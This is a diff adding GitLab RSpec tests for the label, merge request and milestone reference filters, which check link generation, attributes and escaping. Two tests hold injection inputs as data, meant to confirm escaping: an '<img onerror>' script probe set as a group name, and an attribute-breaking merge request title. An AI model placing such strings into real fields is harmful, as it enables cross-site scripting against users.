+ link = doc.css('a').first.attr('href')
+
+ expect(link).to match %r(https?://)
+ end
+
+ it 'does not include protocol when :only_path true' do
+ doc = reference_filter("Label #{reference}", only_path: true)
+ link = doc.css('a').first.attr('href')
+
+ expect(link).not_to match %r(https?://)
+ end
+
+ it 'links to issue list when :label_url_method is not present' do
+ doc = reference_filter("Label #{reference}", only_path: true)
+ link = doc.css('a').first.attr('href')
+
+ expect(link).to eq urls.project_issues_path(project, label_name: label.name)
+ end
+
+ it 'links to merge request list when `label_url_method: :project_merge_requests_url`' do
+ doc = reference_filter("Label #{reference}", { only_path: true, label_url_method: "project_merge_requests_url" })
+ link = doc.css('a').first.attr('href')
+
+ expect(link).to eq urls.project_merge_requests_path(project, label_name: label.name)
+ end
+
+ context 'project that does not exist referenced' do
+ let(:result) { reference_filter('aaa/bbb~ccc') }
+
+ it 'does not link reference' do
+ expect(result.to_html).to eq 'aaa/bbb~ccc'
+ end
+ end
+
+ describe 'label span element' do
+ it 'includes default classes' do
+ doc = reference_filter("Label #{reference}")
+ expect(doc.css('a span').first.attr('class')).to include 'gl-label-text'
+ end
+
+ it 'includes a style attribute' do
+ doc = reference_filter("Label #{reference}")
+ expect(doc.css('a span').first.attr('style')).to match(/\Abackground-color: #\h{6}\z/)
+ end
+ end
+
+ context 'Integer-based references' do
+ it 'links to a valid reference' do
+ doc = reference_filter("See #{reference}")
+
+ expect(doc.css('a').first.attr('href')).to eq urls
+ .project_issues_url(project, label_name: label.name)
+ end
+
+ it 'links with adjacent text' do
+ doc = reference_filter("Label (#{reference}.)")
+ expect(doc.to_html).to match(%r(\(<span.+><a.+><span.+>#{label.name}</span></a></span>\.\)))
+ end
+
+ it 'ignores invalid label IDs' do
+ exp = act = "Label #{invalidate_reference(reference)}"
+
+ expect(reference_filter(act).to_html).to eq exp
+ end
+ end
+
+ context 'String-based single-word references' do
+ let(:label) { create(:label, name: 'gfm', project: project) }
+ let(:reference) { "#{Label.reference_prefix}#{label.name}" }
+
+ it 'links to a valid reference' do
+ doc = reference_filter("See #{reference}")
+
+ expect(doc.css('a').first.attr('href')).to eq urls
+ .project_issues_url(project, label_name: label.name)
+ expect(doc.text).to eq 'See gfm'
+ end
+
+ it 'links with adjacent text' do
+ doc = reference_filter("Label (#{reference}).")
+ expect(doc.to_html).to match(%r(\(<span.+><a.+><span.+>#{label.name}</span></a></span>\)\.))
+ end
+
+ it 'ignores invalid label names' do
+ exp = act = "Label #{Label.reference_prefix}#{label.name.reverse}"
+
+ expect(reference_filter(act).to_html).to eq exp
+ end
+ end
+
+ context 'String-based single-word references that begin with a digit' do
+ let(:label) { create(:label, name: '2fa', project: project) }
+ let(:reference) { "#{Label.reference_prefix}#{label.name}" }
+
+ it 'links to a valid reference' do
+ doc = reference_filter("See #{reference}")
+
+ expect(doc.css('a').first.attr('href')).to eq urls
+ .project_issues_url(project, label_name: label.name)
+ expect(doc.text).to eq 'See 2fa'
+ end
+
+ it 'links with adjacent text' do
+ doc = reference_filter("Label (#{reference}).")
+ expect(doc.to_html).to match(%r(\(<span.+><a.+><span.+>#{label.name}</span></a></span>\)\.))
+ end
+
+ it 'ignores invalid label names' do
+ exp = act = "Label #{Label.reference_prefix}#{label.id}#{label.name.reverse}"
+
+ expect(reference_filter(act).to_html).to eq exp
+ end
+ end
+
+ context 'String-based single-word references with special characters' do
+ let(:label) { create(:label, name: '?g.fm&', project: project) }
+ let(:reference) { "#{Label.reference_prefix}#{label.name}" }
+
+ it 'links to a valid reference' do
+ doc = reference_filter("See #{reference}")
+
+ expect(doc.css('a').first.attr('href')).to eq urls
+ .project_issues_url(project, label_name: label.name)
+ expect(doc.text).to eq 'See ?g.fm&'
+ end
+
+ it 'does not include trailing punctuation', :aggregate_failures do
+ ['.', ', ok?', '...', '?', '!', ': is that ok?'].each do |trailing_punctuation|
+ doc = filter("Label #{reference}#{trailing_punctuation}")
+ expect(doc.to_html).to match(%r(<span.+><a.+><span.+>\?g\.fm&amp;</span></a></span>#{Regexp.escape(trailing_punctuation)}))
+ end
+ end
+
+ it 'ignores invalid label names' do
+ act = "Label #{Label.reference_prefix}#{label.name.reverse}"
+ exp = "Label #{Label.reference_prefix}&amp;mf.g?"
+
+ expect(reference_filter(act).to_html).to eq exp
+ end
+ end
+
+ context 'String-based multi-word references in quotes' do
+ let(:label) { create(:label, name: 'gfm references', project: project) }
+ let(:reference) { label.to_reference(format: :name) }
+
+ it 'links to a valid reference' do
+ doc = reference_filter("See #{reference}")
+
+ expect(doc.css('a').first.attr('href')).to eq urls
+ .project_issues_url(project, label_name: label.name)
+ expect(doc.text).to eq 'See gfm references'
+ end
+
+ it 'links with adjacent text' do
+ doc = reference_filter("Label (#{reference}.)")
+ expect(doc.to_html).to match(%r(\(<span.+><a.+><span.+>#{label.name}</span></a></span>\.\)))
+ end
+
+ it 'ignores invalid label names' do
+ exp = act = %(Label #{Label.reference_prefix}"#{label.name.reverse}")
+
+ expect(reference_filter(act).to_html).to eq exp
+ end
+ end
+
+ context 'String-based multi-word references that begin with a digit' do
+ let(:label) { create(:label, name: '2 factor authentication', project: project) }
+ let(:reference) { label.to_reference(format: :name) }
+
+ it 'links to a valid reference' do
+ doc = reference_filter("See #{reference}")
+
+ expect(doc.css('a').first.attr('href')).to eq urls
+ .project_issues_url(project, label_name: label.name)
+ expect(doc.text).to eq 'See 2 factor authentication'
+ end
+
+ it 'links with adjacent text' do
+ doc = reference_filter("Label (#{reference}.)")
+ expect(doc.to_html).to match(%r(\(<span.+><a.+><span.+>#{label.name}</span></a></span>\.\)))
+ end
+
+ it 'ignores invalid label names' do
+ exp = act = "Label #{Label.reference_prefix}#{label.id}#{label.name.reverse}"
+
+ expect(reference_filter(act).to_html).to eq exp
+ end
+ end
+
+ context 'String-based multi-word references with special characters in quotes' do
+ let(:label) { create(:label, name: 'g.fm & references?', project: project) }
+ let(:reference) { label.to_reference(format: :name) }
+
+ it 'links to a valid reference' do
+ doc = reference_filter("See #{reference}")
+
+ expect(doc.css('a').first.attr('href')).to eq urls
+ .project_issues_url(project, label_name: label.name)
+ expect(doc.text).to eq 'See g.fm & references?'
+ end
+
+ it 'links with adjacent text' do
+ doc = reference_filter("Label (#{reference}.)")
+ expect(doc.to_html).to match(%r(\(<span.+><a.+><span.+>g\.fm &amp; references\?</span></a></span>\.\)))
+ end
+
+ it 'ignores invalid label names' do
+ act = %(Label #{Label.reference_prefix}"#{label.name.reverse}")
+ exp = %(Label #{Label.reference_prefix}"?secnerefer &amp; mf.g\")
+
+ expect(reference_filter(act).to_html).to eq exp
+ end
+ end
+
+ context 'References with html entities' do
+ let!(:label) { create(:label, name: '&lt;html&gt;', project: project) }
+
+ it 'links to a valid reference' do
+ doc = reference_filter('See ~"&lt;html&gt;"')
+
+ expect(doc.css('a').first.attr('href')).to eq urls
+ .project_issues_url(project, label_name: label.name)
+ expect(doc.text).to eq 'See <html>'
+ end
+
+ it 'ignores invalid label names and escapes entities' do
+ act = %(Label #{Label.reference_prefix}"&lt;non valid&gt;")
+
+ expect(reference_filter(act).to_html).to eq act
+ end
+ end
+
+ describe 'consecutive references' do
+ let(:bug) { create(:label, name: 'bug', project: project) }
+ let(:feature_proposal) { create(:label, name: 'feature proposal', project: project) }
+ let(:technical_debt) { create(:label, name: 'technical debt', project: project) }
+
+ let(:bug_reference) { "#{Label.reference_prefix}#{bug.name}" }
+ let(:feature_proposal_reference) { feature_proposal.to_reference(format: :name) }
+ let(:technical_debt_reference) { technical_debt.to_reference(format: :name) }
+
+ context 'separated with a comma' do
+ let(:references) { "#{bug_reference}, #{feature_proposal_reference}, #{technical_debt_reference}" }
+
+ it 'links to valid references' do
+ doc = reference_filter("See #{references}")
+
+ expect(doc.css('a').map { |a| a.attr('href') }).to match_array([
+ urls.project_issues_url(project, label_name: bug.name),
+ urls.project_issues_url(project, label_name: feature_proposal.name),
+ urls.project_issues_url(project, label_name: technical_debt.name)
+ ])
+ expect(doc.text).to eq 'See bug, feature proposal, technical debt'
+ end
+ end
+
+ context 'separated with a space' do
+ let(:references) { "#{bug_reference} #{feature_proposal_reference} #{technical_debt_reference}" }
+
+ it 'links to valid references' do
+ doc = reference_filter("See #{references}")
+
+ expect(doc.css('a').map { |a| a.attr('href') }).to match_array([
+ urls.project_issues_url(project, label_name: bug.name),
+ urls.project_issues_url(project, label_name: feature_proposal.name),
+ urls.project_issues_url(project, label_name: technical_debt.name)
+ ])
+ expect(doc.text).to eq 'See bug feature proposal technical debt'
+ end
+ end
+ end
+
+ describe 'edge cases' do
+ it 'gracefully handles non-references matching the pattern' do
+ exp = act = '(format nil "~0f" 3.0) ; 3.0'
+ expect(reference_filter(act).to_html).to eq exp
+ end
+ end
+
+ describe 'referencing a label in a link href' do
+ let(:reference) { %Q{<a href="#{label.to_reference}">Label</a>} }
+
+ it 'links to a valid reference' do
+ doc = reference_filter("See #{reference}")
+
+ expect(doc.css('a').first.attr('href')).to eq urls
+ .project_issues_url(project, label_name: label.name)
+ end
+
+ it 'links with adjacent text' do
+ doc = reference_filter("Label (#{reference}.)")
+ expect(doc.to_html).to match(%r(\(<span.+><a.+>Label</a></span>\.\)))
+ end
+
+ it 'includes a data-project attribute' do
+ doc = reference_filter("Label #{reference}")
+ link = doc.css('a').first
+
+ expect(link).to have_attribute('data-project')
+ expect(link.attr('data-project')).to eq project.id.to_s
+ end
+
+ it 'includes a data-label attribute' do
+ doc = reference_filter("See #{reference}")
+ link = doc.css('a').first
+
+ expect(link).to have_attribute('data-label')
+ expect(link.attr('data-label')).to eq label.id.to_s
+ end
+ end
+
+ describe 'group label references' do
+ let(:group) { create(:group) }
+ let(:project) { create(:project, :public, namespace: group) }
+ let(:group_label) { create(:group_label, name: 'gfm references', group: group) }
+
+ context 'without project reference' do
+ let(:reference) { group_label.to_reference(format: :name) }
+
+ it 'links to a valid reference' do
+ doc = reference_filter("See #{reference}", project: project)
+
+ expect(doc.css('a').first.attr('href')).to eq urls
+ .project_issues_url(project, label_name: group_label.name)
+ expect(doc.text).to eq 'See gfm references'
+ end
+
+ it 'links with adjacent text' do
+ doc = reference_filter("Label (#{reference}.)")
+ expect(doc.to_html).to match(%r(\(<span.+><a.+><span.+>#{group_label.name}</span></a></span>\.\)))
+ end
+
+ it 'ignores invalid label names' do
+ exp = act = %(Label #{Label.reference_prefix}"#{group_label.name.reverse}")
+
+ expect(reference_filter(act).to_html).to eq exp
+ end
+ end
+
+ context 'with project reference' do
+ let(:reference) { "#{project.to_reference_base}#{group_label.to_reference(format: :name)}" }
+
+ it 'links to a valid reference' do
+ doc = reference_filter("See #{reference}", project: project)
+
+ expect(doc.css('a').first.attr('href')).to eq urls
+ .project_issues_url(project, label_name: group_label.name)
+ expect(doc.text).to eq "See gfm references"
+ end
+
+ it 'links with adjacent text' do
+ doc = reference_filter("Label (#{reference}.)")
+ expect(doc.to_html).to match(%r(\(<span.+><a.+><span.+>#{group_label.name}</span></a></span>\.\)))
+ end
+
+ it 'ignores invalid label names' do
+ exp = act = %(Label #{project.to_reference_base}#{Label.reference_prefix}"#{group_label.name.reverse}")
+
+ expect(reference_filter(act).to_html).to eq exp
+ end
+ end
+ end
+
+ describe 'cross-project / cross-namespace complete reference' do
+ let(:project2) { create(:project) }
+ let(:label) { create(:label, project: project2, color: '#00ff00') }
+ let(:reference) { "#{project2.full_path}~#{label.name}" }
+ let!(:result) { reference_filter("See #{reference}") }
+
+ it 'links to a valid reference' do
+ expect(result.css('a').first.attr('href'))
+ .to eq urls.project_issues_url(project2, label_name: label.name)
+ end
+
+ it 'has valid color' do
+ expect(result.css('a span').first.attr('style')).to match /background-color: #00ff00/
+ end
+
+ it 'has valid link text' do
+ expect(result.css('a').first.text).to eq "#{label.name} in #{project2.full_name}"
+ end
+
+ it 'has valid text' do
+ expect(result.text).to eq "See #{label.name} in #{project2.full_name}"
+ end
+
+ it 'ignores invalid IDs on the referenced label' do
+ exp = act = "See #{invalidate_reference(reference)}"
+
+ expect(reference_filter(act).to_html).to eq exp
+ end
+ end
+
+ describe 'cross-project / same-namespace complete reference' do
+ let(:namespace) { create(:namespace) }
+ let(:project) { create(:project, namespace: namespace) }
+ let(:project2) { create(:project, namespace: namespace) }
+ let(:label) { create(:label, project: project2, color: '#00ff00') }
+ let(:reference) { "#{project2.full_path}~#{label.name}" }
+ let!(:result) { reference_filter("See #{reference}") }
+
+ it 'links to a valid reference' do
+ expect(result.css('a').first.attr('href'))
+ .to eq urls.project_issues_url(project2, label_name: label.name)
+ end
+
+ it 'has valid color' do
+ expect(result.css('a span').first.attr('style')).to match /background-color: #00ff00/
+ end
+
+ it 'has valid link text' do
+ expect(result.css('a').first.text).to eq "#{label.name} in #{project2.name}"
+ end
+
+ it 'has valid text' do
+ expect(result.text).to eq "See #{label.name} in #{project2.name}"
+ end
+
+ it 'ignores invalid IDs on the referenced label' do
+ exp = act = "See #{invalidate_reference(reference)}"
+
+ expect(reference_filter(act).to_html).to eq exp
+ end
+ end
+
+ describe 'cross-project shorthand reference' do
+ let(:namespace) { create(:namespace) }
+ let(:project) { create(:project, namespace: namespace) }
+ let(:project2) { create(:project, namespace: namespace) }
+ let(:label) { create(:label, project: project2, color: '#00ff00') }
+ let(:reference) { "#{project2.path}~#{label.name}" }
+ let!(:result) { reference_filter("See #{reference}") }
+
+ it 'links to a valid reference' do
+ expect(result.css('a').first.attr('href'))
+ .to eq urls.project_issues_url(project2, label_name: label.name)
+ end
+
+ it 'has valid color' do
+ expect(result.css('a span').first.attr('style'))
+ .to match /background-color: #00ff00/
+ end
+
+ it 'has valid link text' do
+ expect(result.css('a').first.text).to eq "#{label.name} in #{project2.name}"
+ end
+
+ it 'has valid text' do
+ expect(result.text).to eq "See #{label.name} in #{project2.name}"
+ end
+
+ it 'ignores invalid IDs on the referenced label' do
+ exp = act = "See #{invalidate_reference(reference)}"
+
+ expect(reference_filter(act).to_html).to eq exp
+ end
+ end
+
+ describe 'cross group label references' do
+ let(:group) { create(:group) }
+ let(:project) { create(:project, :public, namespace: group) }
+ let(:another_group) { create(:group) }
+ let(:another_project) { create(:project, :public, namespace: another_group) }
+ let(:group_label) { create(:group_label, group: another_group, color: '#00ff00') }
+ let(:reference) { "#{another_project.full_path}~#{group_label.name}" }
+ let!(:result) { reference_filter("See #{reference}", project: project) }
+
+ it 'points to referenced project issues page' do
+ expect(result.css('a').first.attr('href'))
+ .to eq urls.project_issues_url(another_project, label_name: group_label.name)
+ end
+
+ it 'has valid color' do
+ expect(result.css('a span').first.attr('style'))
+ .to match /background-color: #00ff00/
+ end
+
+ it 'has valid link text' do
+ expect(result.css('a').first.text)
+ .to eq "#{group_label.name} in #{another_project.full_name}"
+ end
+
+ it 'has valid text' do
+ expect(result.text)
+ .to eq "See #{group_label.name} in #{another_project.full_name}"
+ end
+
+ it 'ignores invalid IDs on the referenced label' do
+ exp = act = "See #{invalidate_reference(reference)}"
+
+ expect(reference_filter(act).to_html).to eq exp
+ end
+
+ context 'when group name has HTML entities' do
+ let(:another_group) { create(:group, name: 'random', path: 'another_group') }
+
+ before do
+ another_group.name = "<img src=x onerror=alert(1)>"
+ another_group.save!(validate: false)
+ end
+
+ it 'escapes the HTML entities' do
+ expect(result.text)
+ .to eq "See #{group_label.name} in #{another_project.full_name}"
+ end
+ end
+ end
+
+ describe 'cross-project / same-group_label complete reference' do
+ let(:group) { create(:group) }
+ let(:project) { create(:project, :public, namespace: group) }
+ let(:another_project) { create(:project, :public, namespace: group) }
+ let(:group_label) { create(:group_label, group: group, color: '#00ff00') }
+ let(:reference) { "#{another_project.full_path}~#{group_label.name}" }
+ let!(:result) { reference_filter("See #{reference}", project: project) }
+
+ it 'points to referenced project issues page' do
+ expect(result.css('a').first.attr('href'))
+ .to eq urls.project_issues_url(another_project, label_name: group_label.name)
+ end
+
+ it 'has valid color' do
+ expect(result.css('a span').first.attr('style'))
+ .to match /background-color: #00ff00/
+ end
+
+ it 'has valid link text' do
+ expect(result.css('a').first.text)
+ .to eq "#{group_label.name} in #{another_project.name}"
+ end
+
+ it 'has valid text' do
+ expect(result.text)
+ .to eq "See #{group_label.name} in #{another_project.name}"
+ end
+
+ it 'ignores invalid IDs on the referenced label' do
+ exp = act = "See #{invalidate_reference(reference)}"
+
+ expect(reference_filter(act).to_html).to eq exp
+ end
+ end
+
+ describe 'same project / same group_label complete reference' do
+ let(:group) { create(:group) }
+ let(:project) { create(:project, :public, namespace: group) }
+ let(:group_label) { create(:group_label, group: group, color: '#00ff00') }
+ let(:reference) { "#{project.full_path}~#{group_label.name}" }
+ let!(:result) { reference_filter("See #{reference}", project: project) }
+
+ it 'points to referenced project issues page' do
+ expect(result.css('a').first.attr('href'))
+ .to eq urls.project_issues_url(project, label_name: group_label.name)
+ end
+
+ it 'has valid color' do
+ expect(result.css('a span').first.attr('style'))
+ .to match /background-color: #00ff00/
+ end
+
+ it 'has valid link text' do
+ expect(result.css('a').first.text).to eq group_label.name
+ end
+
+ it 'has valid text' do
+ expect(result.text).to eq "See #{group_label.name}"
+ end
+
+ it 'ignores invalid IDs on the referenced label' do
+ exp = act = "See #{invalidate_reference(reference)}"
+
+ expect(reference_filter(act).to_html).to eq exp
+ end
+ end
+
+ describe 'same project / same group_label shorthand reference' do
+ let(:group) { create(:group) }
+ let(:project) { create(:project, :public, namespace: group) }
+ let(:group_label) { create(:group_label, group: group, color: '#00ff00') }
+ let(:reference) { "#{project.path}~#{group_label.name}" }
+ let!(:result) { reference_filter("See #{reference}", project: project) }
+
+ it 'points to referenced project issues page' do
+ expect(result.css('a').first.attr('href'))
+ .to eq urls.project_issues_url(project, label_name: group_label.name)
+ end
+
+ it 'has valid color' do
+ expect(result.css('a span').first.attr('style'))
+ .to match /background-color: #00ff00/
+ end
+
+ it 'has valid link text' do
+ expect(result.css('a').first.text).to eq group_label.name
+ end
+
+ it 'has valid text' do
+ expect(result.text).to eq "See #{group_label.name}"
+ end
+
+ it 'ignores invalid IDs on the referenced label' do
+ exp = act = "See #{invalidate_reference(reference)}"
+
+ expect(reference_filter(act).to_html).to eq exp
+ end
+ end
+
+ describe 'group context' do
+ it 'points to the page defined in label_url_method' do
+ group = create(:group)
+ label = create(:group_label, group: group)
+ reference = "~#{label.name}"
+
+ result = reference_filter("See #{reference}", { project: nil, group: group, label_url_method: :group_url } )
+
+ expect(result.css('a').first.attr('href')).to eq(urls.group_url(group, label_name: label.name))
+ end
+
+ it 'finds labels also in ancestor groups' do
+ group = create(:group)
+ label = create(:group_label, group: group)
+ subgroup = create(:group, parent: group)
+ reference = "~#{label.name}"
+
+ result = reference_filter("See #{reference}", { project: nil, group: subgroup, label_url_method: :group_url } )
+
+ expect(result.css('a').first.attr('href')).to eq(urls.group_url(subgroup, label_name: label.name))
+ end
+
+ it 'points to referenced project issues page' do
+ project = create(:project)
+ label = create(:label, project: project)
+ reference = "#{project.full_path}~#{label.name}"
+
+ result = reference_filter("See #{reference}", { project: nil, group: create(:group) } )
+
+ expect(result.css('a').first.attr('href')).to eq(urls.project_issues_url(project, label_name: label.name))
+ expect(result.css('a').first.text).to eq "#{label.name} in #{project.full_name}"
+ end
+ end
+end
diff --git a/spec/lib/banzai/filter/references/merge_request_reference_filter_spec.rb b/spec/lib/banzai/filter/references/merge_request_reference_filter_spec.rb
new file mode 100644
index 00000000000..7a634b0b513
--- /dev/null
+++ b/spec/lib/banzai/filter/references/merge_request_reference_filter_spec.rb
@@ -0,0 +1,289 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Banzai::Filter::References::MergeRequestReferenceFilter do
+ include FilterSpecHelper
+
+ let(:project) { create(:project, :public) }
+ let(:merge) { create(:merge_request, source_project: project) }
+
+ it 'requires project context' do
+ expect { described_class.call('') }.to raise_error(ArgumentError, /:project/)
+ end
+
+ %w(pre code a style).each do |elem|
+ it "ignores valid references contained inside '#{elem}' element" do
+ exp = act = "<#{elem}>Merge #{merge.to_reference}</#{elem}>"
+ expect(reference_filter(act).to_html).to eq exp
+ end
+ end
+
+ describe 'performance' do
+ let(:another_merge) { create(:merge_request, source_project: project, source_branch: 'fix') }
+
+ it 'does not have a N+1 query problem' do
+ single_reference = "Merge request #{merge.to_reference}"
+ multiple_references = "Merge requests #{merge.to_reference} and #{another_merge.to_reference}"
+
+ control_count = ActiveRecord::QueryRecorder.new { reference_filter(single_reference).to_html }.count
+
+ expect { reference_filter(multiple_references).to_html }.not_to exceed_query_limit(control_count)
+ end
+ end
+
+ describe 'all references' do
+ let(:doc) { reference_filter(merge.to_reference) }
+ let(:tag_el) { doc.css('a').first }
+
+ it 'adds merge request iid' do
+ expect(tag_el["data-iid"]).to eq(merge.iid.to_s)
+ end
+
+ it 'adds project data attribute with project id' do
+ expect(tag_el["data-project-path"]).to eq(project.full_path)
+ end
+
+ it 'does not add `has-tooltip` class' do
+ expect(tag_el["class"]).not_to include('has-tooltip')
+ end
+ end
+
+ context 'internal reference' do
+ let(:reference) { merge.to_reference }
+
+ it 'links to a valid reference' do
+ doc = reference_filter("See #{reference}")
+
+ expect(doc.css('a').first.attr('href')).to eq urls
+ .project_merge_request_url(project, merge)
+ end
+
+ it 'links with adjacent text' do
+ doc = reference_filter("Merge (#{reference}.)")
+ expect(doc.to_html).to match(%r{\(<a.+>#{Regexp.escape(reference)}</a>\.\)})
+ end
+
+ it 'ignores invalid merge IDs' do
+ exp = act = "Merge #{invalidate_reference(reference)}"
+
+ expect(reference_filter(act).to_html).to eq exp
+ end
+
+ it 'ignores out-of-bounds merge request IDs on the referenced project' do
+ exp = act = "Merge !#{Gitlab::Database::MAX_INT_VALUE + 1}"
+
+ expect(reference_filter(act).to_html).to eq exp
+ end
+
+ it 'has no title' do
+ doc = reference_filter("Merge #{reference}")
+ expect(doc.css('a').first.attr('title')).to eq ""
+ end
+
+ it 'escapes the title attribute' do
+ merge.update_attribute(:title, %{"></a>whatever<a title="})
+
+ doc = reference_filter("Merge #{reference}")
+ expect(doc.text).to eq "Merge #{reference}"
+ end
+
+ it 'includes default classes, without tooltip' do
+ doc = reference_filter("Merge #{reference}")
+ expect(doc.css('a').first.attr('class')).to eq 'gfm gfm-merge_request'
+ end
+
+ it 'includes a data-project attribute' do
+ doc = reference_filter("Merge #{reference}")
+ link = doc.css('a').first
+
+ expect(link).to have_attribute('data-project')
+ expect(link.attr('data-project')).to eq project.id.to_s
+ end
+
+ it 'includes a data-merge-request attribute' do
+ doc = reference_filter("See #{reference}")
+ link = doc.css('a').first
+
+ expect(link).to have_attribute('data-merge-request')
+ expect(link.attr('data-merge-request')).to eq merge.id.to_s
+ end
+
+ it 'supports an :only_path context' do
+ doc = reference_filter("Merge #{reference}", only_path: true)
+ link = doc.css('a').first.attr('href')
+
+ expect(link).not_to match %r(https?://)
+ expect(link).to eq urls.project_merge_request_url(project, merge, only_path: true)
+ end
+ end
+
+ context 'cross-project / cross-namespace complete reference' do
+ let(:project2) { create(:project, :public) }
+ let(:merge) { create(:merge_request, source_project: project2) }
+ let(:reference) { "#{project2.full_path}!#{merge.iid}" }
+
+ it 'links to a valid reference' do
+ doc = reference_filter("See #{reference}")
+
+ expect(doc.css('a').first.attr('href'))
+ .to eq urls.project_merge_request_url(project2, merge)
+ end
+
+ it 'link has valid text' do
+ doc = reference_filter("Merge (#{reference}.)")
+
+ expect(doc.css('a').first.text).to eq(reference)
+ end
+
+ it 'has valid text' do
+ doc = reference_filter("Merge (#{reference}.)")
+
+ expect(doc.text).to eq("Merge (#{reference}.)")
+ end
+
+ it 'ignores invalid merge IDs on the referenced project' do
+ exp = act = "Merge #{invalidate_reference(reference)}"
+
+ expect(reference_filter(act).to_html).to eq exp
+ end
+ end
+
+ context 'cross-project / same-namespace complete reference' do
+ let(:namespace) { create(:namespace) }
+ let(:project) { create(:project, :public, namespace: namespace) }
+ let(:project2) { create(:project, :public, namespace: namespace) }
+ let!(:merge) { create(:merge_request, source_project: project2) }
+ let(:reference) { "#{project2.full_path}!#{merge.iid}" }
+
+ it 'links to a valid reference' do
+ doc = reference_filter("See #{reference}")
+
+ expect(doc.css('a').first.attr('href'))
+ .to eq urls.project_merge_request_url(project2, merge)
+ end
+
+ it 'link has valid text' do
+ doc = reference_filter("Merge (#{reference}.)")
+
+ expect(doc.css('a').first.text).to eq("#{project2.path}!#{merge.iid}")
+ end
+
+ it 'has valid text' do
+ doc = reference_filter("Merge (#{reference}.)")
+
+ expect(doc.text).to eq("Merge (#{project2.path}!#{merge.iid}.)")
+ end
+
+ it 'ignores invalid merge IDs on the referenced project' do
+ exp = act = "Merge #{invalidate_reference(reference)}"
+
+ expect(reference_filter(act).to_html).to eq exp
+ end
+ end
+
+ context 'cross-project shorthand reference' do
+ let(:namespace) { create(:namespace) }
+ let(:project) { create(:project, :public, namespace: namespace) }
+ let(:project2) { create(:project, :public, namespace: namespace) }
+ let!(:merge) { create(:merge_request, source_project: project2) }
+ let(:reference) { "#{project2.path}!#{merge.iid}" }
+
+ it 'links to a valid reference' do
+ doc = reference_filter("See #{reference}")
+
+ expect(doc.css('a').first.attr('href'))
+ .to eq urls.project_merge_request_url(project2, merge)
+ end
+
+ it 'link has valid text' do
+ doc = reference_filter("Merge (#{reference}.)")
+
+ expect(doc.css('a').first.text).to eq("#{project2.path}!#{merge.iid}")
+ end
+
+ it 'has valid text' do
+ doc = reference_filter("Merge (#{reference}.)")
+
+ expect(doc.text).to eq("Merge (#{project2.path}!#{merge.iid}.)")
+ end
+
+ it 'ignores invalid merge IDs on the referenced project' do
+ exp = act = "Merge #{invalidate_reference(reference)}"
+
+ expect(reference_filter(act).to_html).to eq exp
+ end
+ end
+
+ context 'URL reference for a commit' do
+ let(:mr) { create(:merge_request) }
+ let(:reference) do
+ urls.project_merge_request_url(mr.project, mr) + "/diffs?commit_id=#{mr.diff_head_sha}"
+ end
+
+ let(:commit) { mr.commits.find { |commit| commit.sha == mr.diff_head_sha } }
+
+ it 'links to a valid reference' do
+ doc = reference_filter("See #{reference}")
+
+ expect(doc.css('a').first.attr('href'))
+ .to eq reference
+ end
+
+ it 'commit ref tag is valid' do
+ doc = reference_filter("See #{reference}")
+ commit_ref_tag = doc.css('a').first.css('span.gfm.gfm-commit')
+
+ expect(commit_ref_tag.text).to eq(commit.short_id)
+ end
+
+ it 'has valid text' do
+ doc = reference_filter("See #{reference}")
+
+ expect(doc.text).to eq("See #{mr.to_reference(full: true)} (#{commit.short_id})")
+ end
+
+ it 'has valid title attribute' do
+ doc = reference_filter("See #{reference}")
+
+ expect(doc.css('a').first.attr('title')).to eq(commit.title)
+ end
+
+ it 'ignores invalid commit short_ids on link text' do
+ invalidate_commit_reference =
+ urls.project_merge_request_url(mr.project, mr) + "/diffs?commit_id=12345678"
+ doc = reference_filter("See #{invalidate_commit_reference}")
+
+ expect(doc.text).to eq("See #{mr.to_reference(full: true)} (diffs)")
+ end
+ end
+
+ context 'cross-project URL reference' do
+ let(:namespace) { create(:namespace, name: 'cross-reference') }
+ let(:project2) { create(:project, :public, namespace: namespace) }
+ let(:merge) { create(:merge_request, source_project: project2, target_project: project2) }
+ let(:reference) { urls.project_merge_request_url(project2, merge) + '/diffs#note_123' }
+
+ it 'links to a valid reference' do
+ doc = reference_filter("See #{reference}")
+
+ expect(doc.css('a').first.attr('href'))
+ .to eq reference
+ end
+
+ it 'links with adjacent text' do
+ doc = reference_filter("Merge (#{reference}.)")
+ expect(doc.to_html).to match(%r{\(<a.+>#{Regexp.escape(merge.to_reference(project))} \(diffs, comment 123\)</a>\.\)})
+ end
+ end
+
+ context 'group context' do
+ it 'links to a valid reference' do
+ reference = "#{project.full_path}!#{merge.iid}"
+
+ result = reference_filter("See #{reference}", { project: nil, group: create(:group) } )
+
+ expect(result.css('a').first.attr('href')).to eq(urls.project_merge_request_url(project, merge))
+ end
+ end
+end
diff --git a/spec/lib/banzai/filter/references/milestone_reference_filter_spec.rb b/spec/lib/banzai/filter/references/milestone_reference_filter_spec.rb
new file mode 100644
index 00000000000..dafdc71ce64
--- /dev/null
+++ b/spec/lib/banzai/filter/references/milestone_reference_filter_spec.rb
@@ -0,0 +1,463 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Banzai::Filter::References::MilestoneReferenceFilter do
+ include FilterSpecHelper
+
+ let_it_be(:parent_group) { create(:group, :public) }
+ let_it_be(:group) { create(:group, :public, parent: parent_group) }
+ let_it_be(:project) { create(:project, :public, group: group) }
+ let_it_be(:namespace) { create(:namespace) }
+ let_it_be(:another_project) { create(:project, :public, namespace: namespace) }
+
+ it 'requires project context' do
+ expect { described_class.call('') }.to raise_error(ArgumentError, /:project/)
+ end
+
+ shared_examples 'reference parsing' do
+ %w(pre code a style).each do |elem|
+ it "ignores valid references contained inside '#{elem}' element" do
+ exp = act = "<#{elem}>milestone #{reference}</#{elem}>"
+ expect(reference_filter(act).to_html).to eq exp
+ end
+ end
+
+ it 'includes default classes' do
+ doc = reference_filter("Milestone #{reference}")
+
+ expect(doc.css('a').first.attr('class')).to eq 'gfm gfm-milestone has-tooltip'
+ end
+
+ it 'includes a data-project attribute' do
+ doc = reference_filter("Milestone #{reference}")
+ link = doc.css('a').first
+
+ expect(link).to have_attribute('data-project')
+ expect(link.attr('data-project')).to eq project.id.to_s
+ end
+
+ it 'includes a data-milestone attribute' do
+ doc = reference_filter("See #{reference}")
+ link = doc.css('a').first
+
+ expect(link).to have_attribute('data-milestone')
+ expect(link.attr('data-milestone')).to eq milestone.id.to_s
+ end
+
+ it 'supports an :only_path context' do
+ doc = reference_filter("Milestone #{reference}", only_path: true)
+ link = doc.css('a').first.attr('href')
+
+ expect(link).not_to match %r(https?://)
+ expect(link).to eq urls.milestone_path(milestone)
+ end
+ end
+
